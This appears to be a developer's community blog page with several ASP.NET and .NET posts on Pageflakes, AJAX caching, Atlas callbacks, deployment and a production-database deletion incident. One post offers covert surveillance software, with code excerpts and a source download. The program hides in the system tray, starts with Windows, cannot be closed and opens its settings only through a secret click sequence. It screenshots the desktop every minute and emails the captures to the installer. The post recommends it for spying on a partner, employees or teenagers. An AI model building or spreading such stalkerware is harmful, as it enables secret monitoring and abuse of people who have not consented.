Welcome to Bangladesh Microsoft Technology Community Sign in | Join | Help

Eat cornflakes, use Pageflakes

This is what I do every morning when I wake up. I take cornflakes and milk in a bowl and start my laptop and visit my "Reading" page. I eat cornflakes and read my Pageflakes page:

This gives me daily nutrition for both my body and mind. Start Page is a really good productivity tool for infotainment. It saves me from going to all these sites in order to see what's new. I read news feeds, stories from Digg, new bookmarks from Del.icio.us - all from the same page. It saves so much of my time every single day and keeps me informed of things which is essential to maintain my core competency.

I have made my "Reading" page public, so you can also see what I am reading everyday by going to this URL:

http://www.pageflakes.com/omar.ashx

If you have some cool pages that you have setup on Pageflakes, please make them public and let me know the URL. We can share our interests with each other and find out cool news things.

Make a surveillance application which captures desktop and emails you as attachment

Some time back I needed to capture a certain computers desktop in order to find out what that user is doing every day. So, I made a .NET 2.0 Winforms Application which stays on system tray (optional) and capture the desktop in given time interval (say every 60 secs) and emailed the captured images to me as message attachment (say every 30 mins). It ensures the captures are small enough and embedded inside HTML email so that I don't need to open hundreds of attachments and see the screenshots. I could just read through the email and see the captures made. You will find this application quite handy in many use cases including:

  • Keep an eye on developers who spend too much time on web and chatting. See what they really do.
  • Keep an eye on your better half incase s/he is cheating on you.
  • Keep an eye on your teenagers and see how they use computer. Find the amount of time they browser porn on web.

All you do is sit back and relax in your office and the app informs you every 30 mins via email what your subject is doing on the computer. You don't need to worry about missing some captures when you are away from your computer. It will be safely kept in your inbox and you can go through all the captures on your weekend.

Configure the following settings from the Visual Studio Settings Designer (if you have Visual Studio):

Configure the path where the screenshots will be stored. Then configure the duration, default is every 1 minute, one screenshot is taken. "To" contains the email address of yours. Use free email services because very soon you will find it's filled up. Username and Password is for the SMTP authentication. "SMTP" contains the SMTP Server name or IP. "MailSendDelay" is the delay between sending emails.

All you need to do is build the app and install/run it once on the computer which you want to keep an eye on. It will hide itself on the system tray as a harmless icon and register itself on the startup and start capturing immediately. After a week or two, cleanup the "C:\temp" folder where the screenshots are kept.

You can also configure the properties at run time after running it once on a computer. This is for those who does not have Visual Studio in order to configure the settings before building it.

In order to launch the configuration dialog box while the application is running, find the icon on the system tray and click mouse buttons exactly in this order:

  • Press left and right mouse button on the icon one after another
  • Release only the right mouse button while holding the left mouse button down

This will bring up the configuration dialog:

Here you can make changes while it is running.

Let's learn some interesting stuffs from this application:

1. Prevent closing the application when close button is clicked:

private void MainForm_FormClosing(object sender, FormClosingEventArgs e) { Settings.Default.Save(); this.Hide(); e.Cancel = true; }

2. Capturing the screenshot

using (Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb)) { // Create a graphics object from the bitmap using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) { try { Log("Capture screen"); // Take the screenshot from the upper left corner to the right bottom corner gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);

First a bitmap object for the whole screen size is created and then the graphics from the screen is copied to the Bitmap object.

3. Convert the Bitmap to low resolution JPEG

//Get the ImageCodecInfo for the desired target format ImageCodecInfo codec = GetEncoderInfo("image/jpeg"); // Set the quality to very low System.Drawing.Imaging.Encoder qualityEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameter ratio = new EncoderParameter(qualityEncoder, 10L); // Add the quality parameter to the list EncoderParameters codecParams = new EncoderParameters(1); codecParams.Param[0] = ratio;

Here we configure the JPEG codec with very low resolution (10%). GetEncoderInfo is a function which runs through all available codecs and finds the one we need.

private static ImageCodecInfo GetEncoderInfo(String mimeType) { int j; ImageCodecInfo[] encoders; encoders = ImageCodecInfo.GetImageEncoders(); for (j = 0; j < encoders.Length; ++j) { if (encoders[j].MimeType == mimeType) return encoders[j]; } return null; }

4. Saving bitmap using codec

using (FileStream fs = new FileStream(filePath, FileMode.Create)) { bmpScreenshot.Save(fs, codec, codecParams); fs.Close(); }

5. Handling Win32Exception

I noticed sometimes during screen capture, an unknown Win32Exception throws up. There's no way to work around this problem until I restart the application. Here's how I do it:

catch (Exception x) { Log(x.ToString()); if (x is Win32Exception) { Log("Restarting..."); Application.Restart(); } }

6. Email the pictures as embedded image in HTML format

First connect to the mail server using System.Net.SmtpClient:

SmtpClient client = new SmtpClient(Settings.Default.Smtp); client.Credentials = new NetworkCredential(Settings.Default.UserName, Settings.Default.Password); MailMessage msg = new MailMessage(Settings.Default.To, Settings.Default.To); msg.Subject = DateTime.Now.ToString(); msg.IsBodyHtml = true;

We are going to construct an Html mail where the images will be inline. The tricky part is to build the body of the message. The body requires that we create <img> tag for each image inside the body in this format:

<img src=cid:ID_OF_THE_IMAGE />

The ID needs to be the ContentID of the LinkedResource instance which is created for each image. Here's the code:

List<LinkedResource> resources = new List<LinkedResource>(); for (int i = Settings.Default.LastSentFileNo; i < Settings.Default.LastFileNo; i++) { string filePath = FilePath(i); //then we create the Html part //to embed images, we need to use the prefix 'cid' in the img src value //the cid value will map to the Content-Id of a Linked resource. //thus <img src='cid:companylogo'> will map to a LinkedResource with a ContentId of 'companylogo' body.AppendLine("<img src=cid:Capture" + i.ToString() + " />"); //create the LinkedResource (embedded image) LinkedResource logo = new LinkedResource(filePath); logo.ContentId = "Capture" + i.ToString(); //add the LinkedResource to the appropriate view resources.Add(logo); }

I keep a counter for the last capture file name and the last emailed file number. Then for each capture file which has not been emailed yet, I create a LinkedResource for the image and then add it in the resources list. I also build the body of the message which contains the <img> tag with the LinkedResource ContentID.

Then we create something called AlternateView for the message body which says the message has a HTML view:

AlternateView htmlView = AlternateView.CreateAlternateViewFromString(body.ToString(), null, "text/html"); foreach (LinkedResource resource in resources) htmlView.LinkedResources.Add(resource); msg.AlternateViews.Add(htmlView);

This view contains the HTML body and the resource collection.

After this, the email is sent asynchronously so that the screen capture process does not get stuck. It generally takes a while to send the image with all the screenshots embedded. So, you can't do this synchronously.

try { client.Timeout = 10 * 60 * 1000; client.SendAsync(msg, ""); client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted); mailSendTimer.Stop(); Log("Sending mail..."); } catch (Exception x) { Log(x.ToString()); }

That's all folks!

Download the source here

Build Google IG like AJAX Start Page in 7 days using ASP.NET AJAX and .NET 3.0

I will show you how I built a start page similar to Google IG in 7 nights using ASP.Net Ajax, .NET 3.0, Linq, DLinq and XLinq. I have logged my day to day development experience in this article and documented all the technical challenges, interesting discoveries and important design & architectural decisions. You will find the implementation quite close to actual Google IG. It has drag & drop enabled widgets, complete personalization of the pages, multi page feature and so on. It's not just a prototype or a sample project. It's a real living and breathing open source start page running at http://www.dropthings.com/ which you can use everyday. You are welcome to participate in the development and make widgets for the project.

You can find the article on CodeProject:

Build Google IG like AJAX Start Page in 7 days using ASP.NET AJAX and .NET 3.0

If you like it, please vote for me.  

What to do when you kill your database with your own hand

Couple of months ago, we had an interesting day. It was a bright summer morning. We were all in the office doing our regular work. Developers writing codes, QA testing the site. We were all happy and smiling as there was no major bug. Some were drinking coffee and having nice chit chat. Our honorable Sys Admin came to office as usual late after noon. We all welcomed him remembering his day and night inhuman effort to keep our systems up and running fighting against germs and bacteria. As usual he started his day logging into servers one by one checking their health. He connected to our maintenance server via Remote Desktop. Did some routine check up and found that there was no space on hard drive. So, he decided to delete the database on the maintenance server as it was quite old. He started SQL Server Management Studio, entered sa and password, selected the database, pressed delete. As his habit, on the confirmation dialog he pressed enter without looking into it. Things went cool, database got deleted. But strangely the maintenance server did not free up any hard drive space.

In the meantime, there were sharp screams from other rooms. We all ran to see whether somebody fell down or had an electric shock or not. Seemed like every one was intact. But with horror, we looked into all the screens on our desktops and saw this:

This is our error handler page where users are redirected when there's any unknown catastrophic failure. This page appears when something goes wrong, really wrong. We do this by having the <customErrors> block in web.config:

<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.html"> <error statusCode="403" redirect="403.html"/> <error statusCode="404" redirect="404.html"/> </customErrors>

If somebody fell down or had electric shock, we would not mind at all but this is generally beginning of a nightmare for us. Then we saw our Sys Admin was shaking and his face turned white out of blood. He somehow stood up trembling with fear and came to me and said, "My blood pressure is going sky high. I think I have deleted production database".

I told him, "no worries, I have done this before", of course on the outside. Let's not say what I felt inside. So, we first looked into Recycle Bin. Nope, no trace. It was a 30 GB file. There's no way Windows is going to store it on Recycle Bin. Then we searched for several undelete utilities both commercial ones and free ones. All failed on regular attempt. Some showed an advanced recovery can restore the file but it will take 2 hours of scanning. This will be disastrous if we go down for 2 hours. But we had no choice. Last backup we took was the previous day. If we restore it, we are going to lose thousands of users and their page setup. We will also lose hundreds of signups. So, we went for the 2 hours scan. After 2 hours, the scan reported it found the MDF file. But when we said recover it, it recovered a 0 byte file. We tried another product, same result. In the meantime 4 hours past by. So, we had to take a decision. We has no other choice but to restore the previous day's backup. So, we did, and the site went live.

Now it was time to find out all those poor souls who lost their data. We maintain a log file where we record all important activities like adding new page, registering, first visit etc. It was a tab delimited file like this:

01.01.2007 08:39:35 e5ca904c-0348-42cf-9d1b-6fb932ec930d Create Anonymous user if necessary 0,25
01.01.2007 08:39:36 e5ca904c-0348-42cf-9d1b-6fb932ec930d Get Page: __RSSFEED__ 0,109375
01.01.2007 08:39:36 e5ca904c-0348-42cf-9d1b-6fb932ec930d Load Modules in page #1413882 0,1875
01.01.2007 08:39:36 e5ca904c-0348-42cf-9d1b-6fb932ec930d GetPageflake 0,546875

It logs date and time of each action and also the duration of the process. This log helps us identify slow running operations and we can see almost in real time what's going on with the site.

After importing this log into database, we ran a query to find out user name of all users who signed up since database delete. Here, we discovered something interesting. We were expecting the date and time will be in server's own time. But Enterprise Library logs are always in GMT. So, we had to figure out what is the time difference from regional settings of the servers. Then we subsctracted it to match GMT. Then we calculated when the database was deleted and started finding the users after that. We got a list of email addresses whose signup was lost, almost around 400. We were lucky it happened on a weekend, so there was not much signup that day. Then we sent that email list to our marketing team and they sent apology letters to those users.

So, what we did wrong which you should make sure you never do:

  • Sys Admin became too comfortable with the servers. There was lack of seriousness while working on remote desktop. It became routine monotonous absent minded work to him. This is a real problem with sys admins. On first month, you will see him very serious about his role. Everytime he logs into remote desktop on production or maintenance servers, there's a considerable amount of curves on his forehead. But day by day, it reduces and he starts working on production server as if he is working on his own laptop. At some point, someone needs to make him realize what is the gravity of his actions. He should wash his hands before sitting in front of remote desktop (or perform wudhu if he is muslim) and then say his prayer: "O Lord! I am going to work on remote desktop. Grant me tranquility and absolute concentration and protect me from the devil who whispers in my soul foul words and lures me to cause great harm to production servers"
  • All databases had the same "sa" password. If we had different password, at least while typing the password, sys admin could realize where he is connecting to. Although he did connect to remote desktop on maintenance server, but from SQL Server Management Studio, he connected to primary database server as he did last time. SQL Server Management Studio remembered the last machine name and user name. So, all he did was enter password and hit enter and delete the database. Now we have put the server name inside the password. So, while typing the password, we know conciously which server we are going to connect.
  • Don't ignore confirmation dialogs on remote desktops as you do on your local machine. Nowadays, we consider ourselves super expert on everything and never read the confirmation dialog. I myself don't remember when was the last time I read any confirmation dialog seriously. Definitely this attitude must change while working on servers. When Sys Admin tried to delete the database, there was a confirmation that there are active connections on the database. SQL Server tried its best to inform him that this is a database being used and don't delete it, please. But as he does hundred times per day on his laptop, clicked OK without reading the confirmation dialog.
  • Don't put same administrator password on all servers. This makes life easier while copying files from one server to another, but don't do it. You will accidentally delete file on another server just like we do.
  • DO NOT use Administrator user account to do your day to day work. We started using a Power User account for our day to day operation which has limited access on couple of folders only. Using Administrator account on remote desktop means you are opening doors to all possible accidents to happen. If you use a restricted account, there's no possibility of such accidents. 
  • Always have someone beside you when you work on production server and do something important like cleaning up free space or running scripts, restoring database etc. Make sure the other person is not sleeping on his chair beside you.

Executing one workflow from another synchronously

The InvokeWorkflow activity which comes with Workflow Foundation (.NET 3.0) executes a workflow asynchronously. So, if you are calling a workflow from ASP.NET which in turn calls another workflow, the second workflow is going to be terminated prematurely instead of executing completely. The reason is, ManualWorkflowSchedulerService will execute the first workflow synchronously and then finish the workflow execution and close down. If you used InvokeWorkflow activity in order to run another workflow from the first workflow, it will start on another thread and it will not get enough time to execute completely before the parent workflow ends.

Here you see only one activity in the second workflow gets the chance to execute. The remaining two activities do not get called at all.

Luckily I found an implementation of synchronous workflow execution at:

http://www.masteringbiztalk.com/blogs/jon/PermaLink,guid,7be9fb53-0ddf-4633-b358-01c3e9999088.aspx

It's an activity which takes the workflow as input and executes it synchronously. The implementation is very interesting to see. Please see the original blog post for details.

Database connection string wrong in MSDN Subscription website

This is one of those moments in history which you must be really lucky to witness. Can you believe MSDN actually had a connection string problem in their website which were exposed wide open to the public? Also they deployed the site in debug mode in order to see the error. Moreover, they actually turned on showing remote errors. Must have been really hard to find what was wrong with the site.

So, what we learn from here?

  • Don't deploy production site in debug mode
  • Do not set "off" to <customErrors>. Anyone can see stack trace of your web application. Hackers can collect valuable information from these stack traces
  • Put enough logging in your code so that you can analyze server side log in order to find out what's wrong with your web app. Don't just turn off custom errors in order to see why the site is not working.
  • Put a good custom error page which apologizes to users and gives them enough links to either contact support or go to some other pages.
  • Produce error alerts via email, SMS or IM Client when your site experiences such problems. This is the best way to learn about fatal errors on site and take action quickly.

Automate website deployment using Powershell

I published an article which automates website deployment.

http://www.codeproject.com/dotnet/DeploySite.asp

The Powershell script does the following for you:

· Maintains different configuration information for different deployments. For example, different connection strings for development servers and production servers (one or more production servers).

· Creates a deployment folder using the deployment date, time, and version so that you have a separate folder for each deployment and can keep track of things deployed on a day, e.g., 20061214-1.

· Copies only the change files and some predefined files to the deployment folder. So, you don't deploy the whole website every day.

· Copies the web.config and customizes the <appSettings>, <connectionString>, <assemblies> etc., as per the deployment configuration. For example, you can have different connection strings for different servers.

· Updates all JavaScript files with a version number so that in every deployment, a new file gets downloaded by client browsers.

· Updates default.aspx automatically with the modified script file name.

· Compresses all JavaScript files that gets deployed.

· Compresses all static HTML files using an Absolute HTML Optimizer.

· Creates a zip file which contains the deployment package.

· FTP the zip file to a target server.

So all you need to do is, run the script, extract the zip on server and voila!

If you like it, please vote for me.

Reduce web site build time

When you have a pretty large web site in Visual Studio 2005, the site build time grows dramatically and it becomes very difficult to change code and then hit F5 (or Ctrl+Shift+B) in order to see if the project builds properly or not. In Pageflakes, we have a giant web site. It takes so long to build the site that we generally issue the build command, go to kitchen and make a cup of tea, drink it, come back and see the site still building. Generally when we do this 20 to 30 times per day, we start feeling sick (not because of VS 2005 instead for too much tea).

Here's a cool idea we tried. You can make folders hidden by going to Windows Explorer, go to Folder properties, check mark "Hidden" and click OK and then select "Apply to current item only". This will make the folder hidden and the folder will disappear from Windows Explorer unless you have turned on the option to show hidden files and folders. You will also see the folders disappeared from Visual Studio. Now we use Total Commander instead of Windows Explorer so hidden folders are not a problem to us. Bascially none of us remember anymore how to use Windows Explorer because we are so used to Total Commander now. Try it, it will change your life.

When you make folders hidden, Visual Studio will not build them! So you can make App_Data, App_Themes, images, stylesheets, javascripts, html files hidden and Visual Studio will skip them. Around 70% of our web site is non C# code. So, we gained dramatical reduction in web site build time by trying this idea. Another idea is to move all classes from App_Code to external DLL project. Thus they will build once and VS will not build them again and again if you make some changes in some codebehind file or some .aspx or .ascx file. This will also give you significant build time reduction.

Of course you can turn off Build Website and use Build Page option. But that does not help. We want to ensure the web site code is not broken due to any change. So, we need Build Website option.

ASP.net Ajax under the hood secrets

I have published a new article in codeproject:

ASP.net Ajax under the hood secrets

You will find the following tricks on it:

  • Batch call advantages and disadvantages
  • Implement auto retry in all web method call by modifying Ajax core framework
  • Implement queue based web method call in order to prevent browser from getting stuck with too many Ajax calls
  • Caching web method response, fix bug in ASP.net 2.0 cache header problem
  • How slow is Http Post, capture data transfer over the wire and see

Some of the techniques may be known to you if you have read my earlier posts. But I have converted all code to the latest ASP.net Ajax Beta 2 version which is not available in the blog posts.

Please rate the article if you like it at codeproject.

Also please digg this article.

MVP Award

I have been awarded MVP Award 2007 on Visual C# again. This is my second year. This time the gifts are realy nice. This program is getting better and better every year. The level of support and appreciation MVPs receive from Microsoft by this award is phenomenal. Free MSDN Universal Susbcription, Visual Studio Team System, TechEd 2006 DVDs, woohoo!

You might be thinking, you did nothing for the community! How come you get this award?

Here's what I did:

Ajax Series

ASP.NET 2.0 Series

You say, "Huh, big deal, I can write such simple artlcles everyday". Then read this:

StickOut - .NET 2.0, VSTS, Outlook Addin, MS Word/Excel integration

Atlas 7: Caching web service response on browser and save bandwidth significantly

Browser can cache images, javascripts, css files on users hard drive and it can also cache Xml Http calls if the call is a Http Get. The cache is based on Url. If it's the same Url and it's cached on the computer then the response is loaded from cache, not from the server when it is requested again. Basically, browser can cache any Http Get call and return cached data based on Url. If you make a Xml Http call as Http GET and server returns some special header which informs the browser to cache the response; on future calls, the response will be immediately returned from the cache and thus save the delay of network roundtrip and download time.

At Pageflakes, we cache user's state so that when user visits again the following day, user gets a cached page which loads instantly from browser cache, not from the server. Thus second time load becomes very fast. We also cache several small parts of the page which appears on users action. When user does the same action again, a cached result is loaded immediately from local cache and thus saves the network roundtrip time. User gets a fast loading site and a very responsive site. The perceived speed increases dramatically.

The idea is to make Http Get calls while making Atlas web service calls and return some specific Http Response headers which tells the browser to cache the response for some specific duration. If you return "Expires" header during the response, browser will cache the Xml Http response. There are 2 headers that you need to return with response which will instruct browser to cache the response:

HTTP/1.1 200 OK Expires: Fri, 1 Jan 2030 Cache-Control: public

This will instruct browser to cache the response till Jan 2030. As long as you make the same Xml Http call with the same parameters, you will get cached response from the computer and no call will go to the server. There are more advanced ways to get further control over response caching. For example, here is a header which will instruct browser to cache for 60 seconds but do contact server and get a fresh response after 60 seconds. It will also prevent proxies from returning cached response when browser local cache expires after 60 seconds.

HTTP/1.1 200 OK Cache-Control: private, must-revalidate, proxy-revalidate, max-age=60

Let's try to produce such response headers from ASP.NET web service call:

This will result in the following response headers:

Expires header is set properly. But the problem is with Cache-Control. It is showing "max-age" is set to zero which will prevent browser from doing any kind of caching. If you seriously want to prevent caching, you should emit such cache-control header. Looks like exactly the opposite thing happened.

There's a bug in ASP.NET 2.0 that you cannot change "max-age" header. As max-age is set to zero, ASP.NET 2.0 sets Cache-Control to private because max-age = 0 means no cache needed. So, there's no way you can make ASP.NET 2.0 return proper headers which caches the response.

Time for a hack. After decompiling the code of HttpCachePolicy class (Context.Response.Cache object's class), I found the following code:

Somehow, this._maxAge is getting set to zero and the check: "if (!this._isMaxAgeSet || (delta < this._maxAge))" is preventing it from getting set to a bigger value. Due to this problem, we need to bypass the SetMaxAge function and set the value of the _maxAge field directly using Reflection.

This will return the following headers:

Now max-age is set to 60 and thus browser will cache the response for 60 seconds. If you make the same call again within 60 seconds, it will return the same response. Here's a test output which shows the date time returned from the server:

The client side code is like this:

function cachedHttpGet() { WebService.CachedGet( { useGetMethod: true, onMethodComplete: function(result) { debug.dump(result); } } ); }

Here you see, the response is cached for 60 seconds and after the time elapsed, there was a server call made and new date was returned. That response was again cached for 60 seconds.

Atlas 6: When 'this' is not really 'this'

Atlas callbacks are not executed on the same context where they are called. For ex, if you are making a Page method call from a javascript class like this:

function SampleClass() { this.id = 1; this.call = function() { PageMethods.DoSomething( "Hi", function(result) { debug.dump( this.id ); } ); } }

What happens when you call the "call" method? Do you get "1" on the debug console? No, you get "null" on the debug console because "this" is no longer the instance of the class. This is a common mistake everyone makes. As this is not yet documented in Atlas documentations, I have seen many developers spend time finding out what's wrong.

Here's the reason. We know whenever Javascript events are raised "this" refers to the html element which produced the event. So, if you do this:

function SampleClass() { this.id = 1; this.call = function() { PageMethods.DoSomething( "Hi", function(result) { debug.dump( this.id ); } ); } }

<input type="button" id="ButtonID" onclick="o.onclick" />

If you click the button, you see "ButtonID" instead of "1". The reason is that, the button is making the call. So, the call is made within button object's context and thus "this" maps to the button object.

Similarly, when Xml Http raises the event onreadystatechanged which Atlas traps and fires the callback, the code execution is still on the Xml Http's context. It's Xml Http object which raises the event. As a result, "this" refer to the Xml Http object, not to your own class where the callback is declared.

In order to make the callback fire on the context of the instance of the class so that "this" refers to the instance of the class, you need to make the following change:

function SampleClass() { this.id = 1; this.call = function() { PageMethods.DoSomething( "Hi", Function.createDelegate( this, function(result) { debug.dump( this.id ); } ) ); } }

Here, the Function.createDelegate is used to create a delegate which calls the given function under the "this" context. Function.createDelegate is defined in AtlasRuntime:

Function.createDelegate = function(instance, method) { return function() { return method.apply(instance, arguments); } }

Atlas 4: Only 2 calls at a time and don't expect any order

Browsers make 2 concurrent AJAX calls at a time to a domain. If you make 5 AJAX calls, browser is going to make 2 calls first, then wait for any one of them to complete and then make another call until all remaining 4 calls are complete. Moreover, you cannot expect calls to execute in the same order as you make the calls. Here's why:

Here you see, call 3's response download is quite big and thus takes longer than Call 5. So, Call 5 actually gets executed before Call 3.

So, the world of HTTP is unpredictable.

Atlas 5: Bad calls make good calls timeout

If 2 http calls somehow get stuck for too long, those two bad calls are going to make some good calls expire too which in the meantime got queued. Here's a nice example:

function timeoutTest()

{

PageMethods.Timeout( { timeoutInterval : 3000, onMethodTimeout: function() { debug.dump("Call 1 timed out"); } } );

PageMethods.Timeout( { timeoutInterval : 3000, onMethodTimeout: function() { debug.dump("Call 2 timed out"); } } );

PageMethods.DoSomething( 'Call 1', { timeoutInterval : 3000, onMethodTimeout: function() { debug.dump("DoSomething 1 timed out"); } } );

PageMethods.DoSomething( 'Call 2', { timeoutInterval : 3000, onMethodTimeout: function() { debug.dump("DoSomething 2 timed out"); } } );

PageMethods.DoSomething( 'Call 3', { timeoutInterval : 3000, onMethodTimeout: function() { debug.dump("DoSomething 3 timed out"); } } );

}

I am calling a method named "Timeout" on the server which does nothing but to wait for a long time so that the call gets timed out. After that I am calling a method which does not timeout. But guess what the output is:

Only one call succeeded "Do Something 1". Try again and you might see this:

Now two calls succeeded. So, if at any moment, browser's two connections get jammed, then you can expect other waiting calls are going to timeout also.

In Pageflakes, we used to get nearly 400 to 600 timeout error reports from users' browsers. We could never find out how this can happen. First we suspected slow internet connection. But that cannot happen for so many users. Then we suspected something is wrong with the hosting providers network. We did a lot of network analysis to find out whether there's any problem on the network. But we could not detect any. We used SQL Profiler to see whether there's any long running query which times out ASP.NET request execution time. But no luck. We finally discovered that, it mostly happened due to some bad calls which got stuck and made the good calls expire too. So, we modified the Atlas Runtime and introduce automatic retry on it and the problem disappeared completely. However, this auto retry requires a sophisticated open heart bypass surgery on Atlas Runtime javascript code which you have to perform again and again whenever Microsoft releases newer version of Atlas Runtime. You also can no longer use the <atlas:scriptmanager> tag which produces Atlas runtime references instead you have to manually put links to Atlas runtime and compatibility javascript files. So, you better do auto retry yourself in your own code from Day 1. On the onMethodTimeout method, just make one retry all the time to be on the safe side.

More Posts Next page »